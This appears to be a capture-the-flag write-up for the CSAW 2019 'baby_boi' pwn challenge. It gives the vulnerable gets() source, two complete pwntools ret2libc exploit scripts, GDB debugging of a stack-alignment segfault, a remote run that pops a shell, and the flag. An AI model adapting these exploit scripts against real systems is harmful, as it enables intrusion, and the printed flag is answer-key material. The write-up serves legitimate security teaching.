This binary had a very simple stack buffer overflow with NX enabled. It required a ret2libc attack, however calling system once didn’t work because of the condition the stack was in, so I had to add more input into the payload to create a valid stack frame. More information in the writeup.

Challenge

  • Category: pwn
  • Points: 50
  • Solves: ~300

Welcome to pwn.

nc pwn.chal.csaw.io 1005

Solution

We are given the following source code for the binary:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv[]) {
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  char buf[32];
  printf("Hello!\n");
  printf("Here I am: %p\n", printf);
  gets(buf);
}

If you are unfamiliar with how a ret2libc exploit works, I suggest reading up my writeup of Storytime from HSCTF-6.

For this challenge specifically, when running the program, we get given printf’s libc address which we can easily use to calculate the address of system and the string /bin/sh in libc. The following exploit is what I used initially:

#!/usr/bin/env python2

from pwn import *

BINARY = './baby_boi'
HOST, PORT = 'pwn.chal.csaw.io', 1005
context.terminal = ['tmux', 'new-window']

elf = ELF(BINARY)
libc = ELF('./libc-2.27.so')

def start():
    if not args.REMOTE:
        return process(BINARY)
    else:
        return remote(HOST, PORT)

def debug(bps):
    gdbscript = ''

    for bp in bps:
        gdbscript += 'b *0x{:x}'.format(bp)

    gdb.attach(p, gdbscript=gdbscript)

p = start()
if not args.REMOTE and args.GDB:
    debug([0x40072e]) # ret in main

p.recvuntil(': ')

printf_leak = int(p.recvuntil('\n')[:-1], 16)

log.info('printf at: ' + hex(printf_leak))

libc.address = printf_leak - libc.symbols['printf']

log.info('libc base: ' + hex(libc.address))

system = libc.symbols['system']
bin_sh = next(libc.search('/bin/sh'))
pop_rdi = libc.address + 0x2155f

log.info('system: ' + hex(system))
log.info('/bin/sh: ' + hex(bin_sh))
log.info('pop rdi: ' + hex(pop_rdi))

payload = 'A'*40
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)

p.sendline(payload)

p.interactive()

It simply runs the program, takes the address of printf given to it, calculates offsets to system and /bin/sh, then calls system('/bin/sh'). The pop rdi gadget address was found by running ROPgadget --binary ./libc-2.27.so | grep "pop rdi".

However, initially running this exploit resulted in a segfault. I couldn’t figure out why, so I spun up my Ubuntu Bionic VM to replicate the conditions of the remote binary (I knew to use Bionic because the libc version given to us was 2.27, which comes pre-installed with Bionic). Running the exploit locally then also resulted in a segfault.

I ran the binary with tmux and ./exploit.py GDB to step through it with GDB. I set a breakpoint on the ret instruction from main (refer to my script for further details), and I realized that it was seg faulting in the call to system. GDB specifically said that the seg fault happened in do_system+679, which has the instruction mov rcx, [rsp+0x178], so I restarted the exploit, and after hitting the breakpoint at the end of main, I did a b *do_system+679 to set a breakpoint on that instruction.

Continuing on from there, the breakpoint at do_system+679 was hit, and I inspected the stack at rsp+0x178 by doing x/gx $rsp+0x178 and found that the stack value was an invalid address. That’s why it was segfaulting. [rsp+0x178] will dereference that invalid address resulting in a segfault.

The way I solved the challenge then was to append some valid addresses to my payload. Remember that the payload is put on the stack, so chances are if we keep adding valid addresses to the payload, one of those addresses will overwrite this address on the stack and prevent the segfault. I just ended up calling system('/bin/sh') twice, as seen in my final payload below. Appending any valid address to the stack would have been fine though.

#!/usr/bin/env python2

from pwn import *

BINARY = './baby_boi'
HOST, PORT = 'pwn.chal.csaw.io', 1005
context.terminal = ['tmux', 'new-window']

elf = ELF(BINARY)
libc = ELF('./libc-2.27.so')

def start():
    if not args.REMOTE:
        return process(BINARY)
    else:
        return remote(HOST, PORT)

def debug(bps):
    gdbscript = ''

    for bp in bps:
        gdbscript += 'b *0x{:x}'.format(bp)

    gdb.attach(p, gdbscript=gdbscript)

p = start()
if not args.REMOTE and args.GDB:
    debug([0x40072e]) # ret in main

p.recvuntil(': ')

printf_leak = int(p.recvuntil('\n')[:-1], 16)

log.info('printf at: ' + hex(printf_leak))

libc.address = printf_leak - libc.symbols['printf']

log.info('libc base: ' + hex(libc.address))

system = libc.symbols['system']
bin_sh = next(libc.search('/bin/sh'))
pop_rdi = libc.address + 0x2155f

log.info('system: ' + hex(system))
log.info('/bin/sh: ' + hex(bin_sh))
log.info('pop rdi: ' + hex(pop_rdi))

payload = 'A'*40
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)

p.sendline(payload)

p.interactive()
vagrant@ubuntu-bionic:/ctf/pwn-and-rev/csaw-2019-quals/pwn/baby_boi$ ./exploit.py REMOTE
[*] '/ctf/pwn-and-rev/csaw-2019-quals/pwn/baby_boi/baby_boi'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/ctf/pwn-and-rev/csaw-2019-quals/pwn/baby_boi/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to pwn.chal.csaw.io on port 1005: Done
[*] printf at: 0x7f10fe591e80
[*] libc base: 0x7f10fe52d000
[*] system: 0x7f10fe57c440
[*] /bin/sh: 0x7f10fe6e0e9a
[*] pop rdi: 0x7f10fe54e55f
[*] Switching to interactive mode
$ ls
baby_boi
flag.txt
$ cat flag.txt
flag{baby_boi_dodooo_doo_doo_dooo}
$  

Flag: flag{baby_boi_dodooo_doo_doo_dooo}